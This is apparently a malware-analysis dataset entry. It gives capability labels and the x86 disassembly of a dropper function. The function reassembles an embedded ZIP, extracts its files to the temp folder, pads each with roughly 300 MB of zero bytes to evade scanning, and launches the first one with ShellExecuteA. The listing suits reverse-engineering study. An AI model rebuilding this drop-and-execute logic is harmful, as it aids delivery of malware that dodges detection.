Function at 0x48a846
Capabilities:
Create process on windows
Get common file path
Resolve function by parsing pe exports
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov edx, dword [0xe19760]
mov eax, dword [0xd04a68]
add edx, eax
mov eax, dword [0xa06fe4]
add edx, eax
mov eax, dword [0xc84a44]
add edx, eax
mov eax, dword [0xd04a6c]
add eax, edx
mov dword [ebp - 0x18], eax
mov byte [ebp - 0x5d], 0
mov dword [ebp - 0x1c], 0x12c00000
lea eax, [ebp - 0x161]
mov dword [esp + 4], eax
mov dword [esp], 0x104
mov eax, dword [sym.imp.KERNEL32.dll_GetTempPathA]
call eax
sub esp, 8
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jne 0x48a8bf
mov dword [esp], str.Failed_to_get_temp_path
call sym._perror
mov eax, 1
jmp 0x48b330
mov dword [ebp - 0x168], 0
mov dword [ebp - 0x16c], 0
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
call sym._malloc
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
jne 0x48a932
mov dword [esp], 2
mov eax, dword [dbg.__acrt_iob_func]
call eax
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x5c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x27
mov dword [esp + 4], 1
mov dword [esp], str.Failed_to_allocate_memory_for_ZIP_data_n
call sym._fwrite
mov eax, 1
jmp 0x48b330
mov dword [esp], str.memcpy_staring
call sym._puts
mov eax, dword [0xe19760]
mov dword [esp + 4], eax
mov dword [esp], str.memcpy_size_is__d_n
call sym._printf
mov eax, dword [0xd04a68]
mov dword [esp + 4], eax
mov dword [esp], str.memcpy_size_is__d_n
call sym._printf
mov eax, dword [0xa06fe4]
mov dword [esp + 4], eax
mov dword [esp], str.memcpy_size_is__d_n
call sym._printf
mov eax, dword [0xc84a44]
mov dword [esp + 4], eax
mov dword [esp], str.memcpy_size_is__d_n
call sym._printf
mov eax, dword [0xd04a6c]
mov dword [esp + 4], eax
mov dword [esp], str.memcpy_size_is__d_n
call sym._printf
mov eax, dword [0xe19760]
mov edx, dword [ebp - 0xc]
mov dword [esp + 0x90], edx
mov dword [esp + 0x8c], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 0x88], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 0x84], eax
mov dword [esp + 0x80], 8
mov eax, dword [ebp - 0xc]
mov dword [esp + 0x7c], eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 0x78], eax
mov dword [esp + 0x74], 6
fld qword [0x887088]
fstp qword [esp + 0x6c]
mov eax, dword [ebp - 0x18]
mov dword [esp + 0x68], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp + 0x64], eax
mov eax, dword [ebp - 0x28]
mov dword [esp + 0x60], eax
mov dword [esp + 0x5c], 3
mov eax, dword [ebp - 0x18]
mov dword [esp + 0x58], eax
mov eax, dword [ebp - 0x28]
mov dword [esp + 0x54], eax
fldz
fstp qword [esp + 0x4c]
mov dword [esp + 0x48], 6
mov eax, dword [ebp - 0x28]
mov dword [esp + 0x44], eax
mov dword [esp + 0x40], 0xb9b8e0
mov eax, dword [ebp - 0x28]
mov dword [esp + 0x3c], eax
mov eax, dword [ebp - 0x30]
mov dword [esp + 0x38], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 0x34], eax
mov dword [esp + 0x30], 5
mov dword [esp + 0x2c], 3
mov eax, dword [ebp - 0x18]
mov dword [esp + 0x28], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 0x24], eax
mov dword [esp + 0x20], 8
mov dword [esp + 0x1c], 2
fld1
fstp qword [esp + 0x14]
mov eax, dword [ebp - 0x30]
mov dword [esp + 0x10], eax
mov eax, dword [ebp - 0x30]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 2
fld qword [0x887058]
fstp qword [esp]
call sym._MemCpy
mov dword [esp], str.memcpy_after_1
call sym._puts
mov eax, dword [0xd04a68]
mov ecx, dword [0xe19760]
mov edx, dword [ebp - 0x2c]
add ecx, edx
mov edx, dword [ebp - 0xc]
mov dword [esp + 0x90], edx
mov dword [esp + 0x8c], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 0x88], eax
mov eax, dword [ebp - 0x30]
mov dword [esp + 0x84], eax
mov dword [esp + 0x80], 3
mov eax, dword [ebp - 0xc]
mov dword [esp + 0x7c], eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 0x78], eax
mov dword [esp + 0x74], 1
fld1
fstp qword [esp + 0x6c]
mov eax, dword [ebp - 0x34]
mov dword [esp + 0x68], eax
mov dword [esp + 0x64], ecx
mov eax, dword [ebp - 0x38]
mov dword [esp + 0x60], eax
mov dword [esp + 0x5c], 3
mov eax, dword [ebp - 0xc]
mov dword [esp + 0x58], eax
mov eax, dword [ebp - 0x3c]
mov dword [esp + 0x54], eax
fld qword [0x887060]
fstp qword [esp + 0x4c]
mov dword [esp + 0x48], 6
mov eax, dword [ebp - 0x38]
mov dword [esp + 0x44], eax
mov dword [esp + 0x40], 0xbb0180
mov eax, dword [ebp - 0x28]
mov dword [esp + 0x3c], eax
mov eax, dword [ebp - 0x30]
mov dword [esp + 0x38], eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 0x34], eax
mov dword [esp + 0x30], 2
mov dword [esp + 0x2c], 1
mov eax, dword [ebp - 0x30]
mov dword [esp + 0x28], eax
mov eax, dword [ebp - 0x30]
mov dword [esp + 0x24], eax
mov dword [esp + 0x20], 8
mov dword [esp + 0x1c], 7
fld qword [0x887078]
fstp qword [esp + 0x14]
mov eax, dword [ebp - 0x18]
mov dword [esp + 0x10], eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 5
fld qword [0x887070]
fstp qword [esp]
call sym._MemCpy
mov dword [esp], str.memcpy_after_2
call sym._puts
mov eax, dword [0xa06fe4]
mov ecx, dword [0xe19760]
mov edx, dword [0xd04a68]
add ecx, edx
mov edx, dword [ebp - 0x2c]
add ecx, edx
mov edx, dword [ebp - 0xc]
mov dword [esp + 0x90], edx
mov dword [esp + 0x8c], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 0x88], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 0x84], eax
mov dword [esp + 0x80], 4
mov eax, dword [ebp - 0x18]
mov dword [esp + 0x7c], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 0x78], eax
mov dword [esp + 0x74], 5
fld qword [0x887088]
fstp qword [esp + 0x6c]
mov eax, dword [ebp - 0x34]
mov dword [esp + 0x68], eax
mov dword [esp + 0x64], ecx
mov eax, dword [ebp - 0x3c]
mov dword [esp + 0x60], eax
mov dword [esp + 0x5c], 8
mov eax, dword [ebp - 0x18]
mov dword [esp + 0x58], eax
mov eax, dword [ebp - 0x38]
mov dword [esp + 0x54], eax
fldz
fstp qword [esp + 0x4c]
mov dword [esp + 0x48], 1
mov eax, dword [ebp - 0x28]
mov dword [esp + 0x44], eax
mov dword [esp + 0x40], 0xb07020
mov eax, dword [ebp - 0x38]
mov dword [esp + 0x3c], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 0x38], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 0x34], eax
mov dword [esp + 0x30], 0
mov dword [esp + 0x2c], 9
mov eax, dword [ebp - 0x30]
mov dword [esp + 0x28], eax
mov eax, dword [ebp - 0x30]
mov dword [esp + 0x24], eax
mov dword [esp + 0x20], 0
mov dword [esp + 0x1c], 7
fld qword [0x887088]
fstp qword [esp + 0x14]
mov eax, dword [ebp - 0x34]
mov dword [esp + 0x10], eax
mov eax, dword [ebp - 0x30]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 4
fld qword [0x887068]
fstp qword [esp]
call sym._MemCpy
mov dword [esp], str.memcpy_after_3
call sym._puts
mov eax, dword [0xc84a44]
mov ecx, dword [0xe19760]
mov edx, dword [0xd04a68]
add ecx, edx
mov edx, dword [0xa06fe4]
add ecx, edx
mov edx, dword [ebp - 0x2c]
add ecx, edx
mov edx, dword [ebp - 0x18]
mov dword [esp + 0x90], edx
mov dword [esp + 0x8c], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 0x88], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 0x84], eax
mov dword [esp + 0x80], 3
mov eax, dword [ebp - 0x30]
mov dword [esp + 0x7c], eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 0x78], eax
mov dword [esp + 0x74], 8
fld qword [0x887090]
fstp qword [esp + 0x6c]
mov eax, dword [ebp - 0x18]
mov dword [esp + 0x68], eax
mov dword [esp + 0x64], ecx
mov eax, dword [ebp - 0x3c]
mov dword [esp + 0x60], eax
mov dword [esp + 0x5c], 2
mov eax, dword [ebp - 0x18]
mov dword [esp + 0x58], eax
mov eax, dword [ebp - 0x38]
mov dword [esp + 0x54], eax
fld qword [0x887060]
fstp qword [esp + 0x4c]
mov dword [esp + 0x48], 2
mov eax, dword [ebp - 0x38]
mov dword [esp + 0x44], eax
mov dword [esp + 0x40], 0xd44aa0
mov eax, dword [ebp - 0x3c]
mov dword [esp + 0x3c], eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 0x38], eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 0x34], eax
mov dword [esp + 0x30], 1
mov dword [esp + 0x2c], 3
mov eax, dword [ebp - 0xc]
mov dword [esp + 0x28], eax
mov eax, dword [ebp - 0x30]
mov dword [esp + 0x24], eax
mov dword [esp + 0x20], 8
mov dword [esp + 0x1c], 6
fld qword [0x887068]
fstp qword [esp + 0x14]
mov eax, dword [ebp - 0x18]
mov dword [esp + 0x10], eax
mov eax, dword [ebp - 0x30]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 4
fld qword [0x887070]
fstp qword [esp]
call sym._MemCpy
mov dword [esp], str.memcpy_after_4
call sym._puts
mov eax, dword [0xd04a6c]
mov ecx, dword [0xe19760]
mov edx, dword [0xd04a68]
add ecx, edx
mov edx, dword [0xa06fe4]
add ecx, edx
mov edx, dword [0xc84a44]
add ecx, edx
mov edx, dword [ebp - 0x2c]
add ecx, edx
mov edx, dword [ebp - 0x34]
mov dword [esp + 0x90], edx
mov dword [esp + 0x8c], eax
mov eax, dword [ebp - 0x30]
mov dword [esp + 0x88], eax
mov eax, dword [ebp - 0x30]
mov dword [esp + 0x84], eax
mov dword [esp + 0x80], 9
mov eax, dword [ebp - 0xc]
mov dword [esp + 0x7c], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 0x78], eax
mov dword [esp + 0x74], 5
fld qword [0x887090]
fstp qword [esp + 0x6c]
mov eax, dword [ebp - 0x34]
mov dword [esp + 0x68], eax
mov dword [esp + 0x64], ecx
mov eax, dword [ebp - 0x38]
mov dword [esp + 0x60], eax
mov dword [esp + 0x5c], 6
mov eax, dword [ebp - 0x34]
mov dword [esp + 0x58], eax
mov eax, dword [ebp - 0x3c]
mov dword [esp + 0x54], eax
fld qword [0x887080]
fstp qword [esp + 0x4c]
mov dword [esp + 0x48], 9
mov eax, dword [ebp - 0x28]
mov dword [esp + 0x44], eax
mov dword [esp + 0x40], 0xf197a0
mov eax, dword [ebp - 0x3c]
mov dword [esp + 0x3c], eax
mov eax, dword [ebp - 0x18]
mov dword [esp + 0x38], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 0x34], eax
mov dword [esp + 0x30], 9
mov dword [esp + 0x2c], 9
mov eax, dword [ebp - 0x34]
mov dword [esp + 0x28], eax
mov eax, dword [ebp - 0x30]
mov dword [esp + 0x24], eax
mov dword [esp + 0x20], 7
mov dword [esp + 0x1c], 3
fld qword [0x887088]
fstp qword [esp + 0x14]
mov eax, dword [ebp - 0x34]
mov dword [esp + 0x10], eax
mov eax, dword [ebp - 0x30]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 3
fld qword [0x887058]
fstp qword [esp]
call sym._MemCpy
mov dword [esp], str.memcpy_after_5
call sym._puts
mov dword [esp], str.before_zip_stream_oopen
call sym._puts
mov eax, dword [ebp - 0x18]
mov dword [esp + 0xc], 0x72
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
call sym._zip_stream_open
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0
jne 0x48afca
mov dword [esp], str.Failed_to_open_zip_stream
call sym._perror
mov eax, 0xffffffff
jmp 0x48b330
mov dword [ebp - 0xc], 0
jmp 0x48b2d2
mov dword [esp], str.zip_entry_open
call sym._puts
mov eax, dword [ebp - 0xc]
mov eax, dword [eax*4 + 0xd04a70]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x40]
mov dword [esp], eax
call sym._zip_entry_open
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
jns 0x48b025
mov dword [esp], str.Failed_to_open_zip_entry
call sym._perror
mov eax, dword [ebp - 0x40]
mov dword [esp], eax
call sym._zip_stream_close
mov eax, 0xffffffff
jmp 0x48b330
lea eax, [ebp - 0x16c]
mov dword [esp + 8], eax
lea eax, [ebp - 0x168]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x40]
mov dword [esp], eax
call sym._zip_entry_read
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
jns 0x48b079
mov dword [esp], str.Failed_to_read_zip_entry
call sym._perror
mov eax, dword [ebp - 0x40]
mov dword [esp], eax
call sym._zip_entry_close
mov eax, dword [ebp - 0x40]
mov dword [esp], eax
call sym._zip_stream_close
mov eax, 0xffffffff
jmp 0x48b330
mov eax, dword [ebp - 0x40]
mov dword [esp], eax
call sym._zip_entry_close
lea eax, [ebp - 0x161]
mov dword [esp], eax
call sym._strlen
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax*4 + 0xd04a70]
mov dword [esp], eax
call sym._strlen
mov dword [ebp - 0x48], eax
mov edx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x48]
add eax, edx
add eax, 2
mov dword [esp], eax
call sym._malloc
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0
jne 0x48b0fb
mov dword [esp], str.Failed_to_allocate_memory
call sym._perror
mov eax, dword [ebp - 0x168]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x40]
mov dword [esp], eax
call sym._zip_stream_close
mov eax, 0xffffffff
jmp 0x48b330
mov eax, dword [ebp - 0xc]
mov eax, dword [eax*4 + 0xd04a70]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x161]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s__s
mov eax, dword [ebp - 0x4c]
mov dword [esp], eax
call sym._sprintf
cmp dword [ebp - 0xc], 0
jne 0x48b1a3
mov eax, dword [ebp - 0x4c]
mov dword [esp], eax
call sym._strlen
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x50]
add eax, 1
mov dword [esp], eax
call sym._malloc
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x48b191
mov dword [esp], str.Failed_to_allocate_memory
call sym._perror
mov eax, dword [ebp - 0x4c]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x168]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x40]
mov dword [esp], eax
call sym._zip_stream_close
mov eax, 0xffffffff
jmp 0x48b330
mov eax, dword [ebp - 0x4c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._strcpy
mov dword [esp + 4], 0x8805b4
mov eax, dword [ebp - 0x4c]
mov dword [esp], eax
call sym._fopen
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0
jne 0x48b1f9
mov dword [esp], str.Error_opening_file
call sym._perror
mov eax, dword [ebp - 0x4c]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x168]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x40]
mov dword [esp], eax
call sym._zip_stream_close
mov eax, 0xffffffff
jmp 0x48b330
mov edx, dword [ebp - 0x16c]
mov eax, dword [ebp - 0x168]
mov ecx, dword [ebp - 0x54]
mov dword [esp + 0xc], ecx
mov dword [esp + 8], edx
mov dword [esp + 4], 1
mov dword [esp], eax
call sym._fwrite
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x16c]
cmp dword [ebp - 0x58], eax
je 0x48b273
mov dword [esp], str.Error_writing_to_file
call sym._perror
mov eax, dword [ebp - 0x54]
mov dword [esp], eax
call sym._fclose
mov eax, dword [ebp - 0x4c]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x168]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x40]
mov dword [esp], eax
call sym._zip_stream_close
mov eax, 0xffffffff
jmp 0x48b330
mov dword [ebp - 0x14], 0
jmp 0x48b2a2
mov eax, dword [ebp - 0x54]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 1
mov dword [esp + 4], 1
lea eax, [ebp - 0x5d]
mov dword [esp], eax
call sym._fwrite
add dword [ebp - 0x14], 1
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x1c]
jb 0x48b27c
mov eax, dword [ebp - 0x54]
mov dword [esp], eax
call sym._fclose
mov eax, dword [ebp - 0x4c]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x168]
mov dword [esp], eax
call sym._free
add dword [ebp - 0xc], 1
mov edx, dword [ebp - 0xc]
mov eax, dword [0xc84a48]
cmp edx, eax
jb 0x48afd6
cmp dword [ebp - 0x10], 0
je 0x48b32b
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov eax, dword [ebp - 0x10]
mov dword [esp + 8], eax
mov dword [esp + 4], str.open
mov dword [esp], 0
mov eax, dword [sym.imp.SHELL32.dll_ShellExecuteA]
call eax
sub esp, 0x18
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._free
mov eax, 0
leave
ret